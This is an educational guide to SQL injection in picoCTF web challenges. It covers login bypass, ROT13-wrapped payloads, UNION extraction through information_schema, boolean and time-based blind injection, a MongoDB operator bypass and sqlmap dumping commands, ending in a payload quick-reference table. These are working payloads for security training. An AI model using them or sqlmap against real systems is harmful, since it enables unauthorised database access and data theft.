Introduction
One quote character in the right box can hand you an entire database. SQL injection (SQLi) is one of the most consistently tested vulnerability categories in CTF web exploitation challenges, and it keeps appearing because so many real applications still build SQL queries by concatenating raw user input directly into query strings.
This is not a museum piece. The 2015 TalkTalk breach, which exposed data on roughly 157,000 customers and drew a record fine from the UK regulator, was a plain SQL injection against a legacy web page. It is also CVE-2024-1071, a SQLi in a WordPress plugin installed on hundreds of thousands of sites and patched in 2024. SQL injection has sat on the OWASP Top 10 for over two decades, and the same string concatenation that leaks a CTF flag leaks production customer tables.
In picoCTF, SQL injection challenges range from single-field authentication bypasses all the way to multi-step blind extraction and automated scanning with sqlmap. This guide walks through each technique in order of complexity, with direct links to the picoCTF writeups where each one appears.
' first. A database error message or a broken page confirms the input is unsanitized and you can proceed with injection payloads.When to use: Login forms with a username/password field and no parameterization
When to use: Output is reflected in the page and you can infer column count
When to use: No output is reflected - only true/false behavior or timing differences
When to use: Any SQLi surface - automates detection and extraction end-to-end
Authentication bypass
The classic entry point. The backend constructs a query like:
SELECT * FROM users WHERE username='INPUT' AND password='PASS'
Injecting ' OR 1=1-- - into the username field transforms this into a query that always returns true, bypassing the password check entirely:
SELECT * FROM users WHERE username='' OR 1=1-- -' AND password='anything'^^^^^^^^^always true; rest is a comment
The -- - sequence starts a SQL comment, so everything after it (including the password check) is ignored. Common comment styles vary by database:
-- - MySQL, SQLite, PostgreSQL# MySQL only
Stick to -- - and # for auth bypass. A bare /* is not a reliable comment: it opens a block comment that most engines expect you to close with */, and left unterminated it is a syntax error on everything except MySQL. It does not swallow the trailing clause the way -- - or # do.
Common payloads to try when you suspect a login bypass:
' OR 1=1-- -' OR '1'='1admin'-- -' OR 1=1#
picoCTF challenges using this technique
ROT13-encoded input (Irish-Name-Repo 2)
Some challenges add a twist: the backend ROT13-encodes your input before inserting it into the query. You need to ROT13-encode your payload first so the decoded version contains the actual injection syntax.
# Payload: ' OR 1=1-- -# ROT13: ' BE 1=1-- -python3 -c "import codecs; print(codecs.encode(\"' OR 1=1-- -\", 'rot13'))"
See the Irish-Name-Repo 2 writeup for the exact flow, and Irish-Name-Repo 3 where the encoding layer is buried deeper.
UNION-based extraction
Once you can inject, the next goal is extracting data from the database. UNION-based injection appends a second SELECT statement whose output is returned alongside the legitimate query result.
The catch: both SELECT statements must return the same number of columns. To find the column count, increment the ORDER BY value until the query errors:
' ORDER BY 1-- - # works' ORDER BY 2-- - # works' ORDER BY 3-- - # error -> 2 columns
With the column count known, build the UNION payload. Use NULL for columns you do not care about, and place your extraction target in a column that renders as text:
# Extract the database name (2-column table)' UNION SELECT database(), NULL-- -# List all tables in the current database' UNION SELECT table_name, NULL FROM information_schema.tablesWHERE table_schema=database()-- -# Dump a specific column' UNION SELECT flag, NULL FROM flags-- -
picoCTF challenges using this technique
More SQLi (2023) - three-stage extraction
The More SQLi challenge walks through a full extraction sequence: discover the column count, enumerate table names from information_schema, then pull the flag column from the target table. It is the best picoCTF example of chained UNION injection.
Blind SQLi
Blind SQL injection applies when query results are not echoed back to the page. Instead, you infer information from binary signals: whether a record is found (boolean-based) or how long the response takes (time-based).
Boolean-based
Ask the database yes/no questions by making the injected condition true or false and observing whether the page renders differently:
# Is the first character of the flag 'p'?' AND SUBSTRING(flag,1,1)='p'-- -# Is the flag longer than 30 characters?' AND LENGTH(flag)>30-- -
Time-based
When there is no visible difference in the response body, cause a deliberate delay if your condition is true:
# MySQL: sleep 3 seconds if condition is true' AND IF(SUBSTRING(flag,1,1)='p', SLEEP(3), 0)-- -# SQLite: heavy query as delay (no SLEEP)' AND CASE WHEN SUBSTR(flag,1,1)='p' THEN LIKE('X%',UPPER(HEX(RANDOMBLOB(100000000)))) END-- -
Automating character-by-character extraction by hand is tedious - this is where sqlmap (next section) becomes essential.
NoSQL injection
Not every web challenge uses a relational database. Document stores like MongoDB are not vulnerable to SQL syntax at all; you bypass them by injecting query operators (for example a {"$ne": null} object where the app expected a plain password string) rather than escaping a quote.
That is a different instinct with its own payloads, tooling, and blind-extraction tricks, so it has a dedicated guide: NoSQL Injection for CTF, which also walks the No Sql Injection picoCTF challenge end to end.
sqlmap automation
sqlmap is an open-source tool that automates the detection and exploitation of SQL injection vulnerabilities. Rather than crafting payloads by hand, you point it at a URL or request file and it handles enumeration, extraction, and reporting automatically.
Install
sudo apt install sqlmap
Basic scan
# Test a URL parameter for SQLisqlmap -u 'http://target/search?q=test'# Test POST datasqlmap -u 'http://target/login' --data='username=test&password=test'# Use a saved Burp request filesqlmap -r request.txt
Extraction flags
--dbs # list all databases--tables # list tables in current database--dump # dump all table contents-D mydb -T users --dump # dump specific table--level=5 --risk=3 # more aggressive testing
--batch to accept all defaults non-interactively, and --threads=4 to speed up blind extraction. In CTF environments the database is usually small so a full --dump finishes quickly.picoCTF challenge using this technique
Quick reference
| Scenario | Payload / tool |
|---|---|
| Login bypass (MySQL / SQLite) | ' OR 1=1-- - |
| Login bypass (MySQL only) | ' OR 1=1# |
| Confirm injection with error | ' |
| Find column count | ' ORDER BY N-- - |
| Dump database name | ' UNION SELECT database()-- - |
| List tables | information_schema.tables |
| MongoDB operator bypass | {"$ne": null} |
| Automate everything | sqlmap -u URL --dump --batch |
All picoCTF SQL injection writeups
Related guides
SQL injection is one branch of the "untrusted input reaches an interpreter" family. Once you have this instinct, the same pattern shows up against other backends: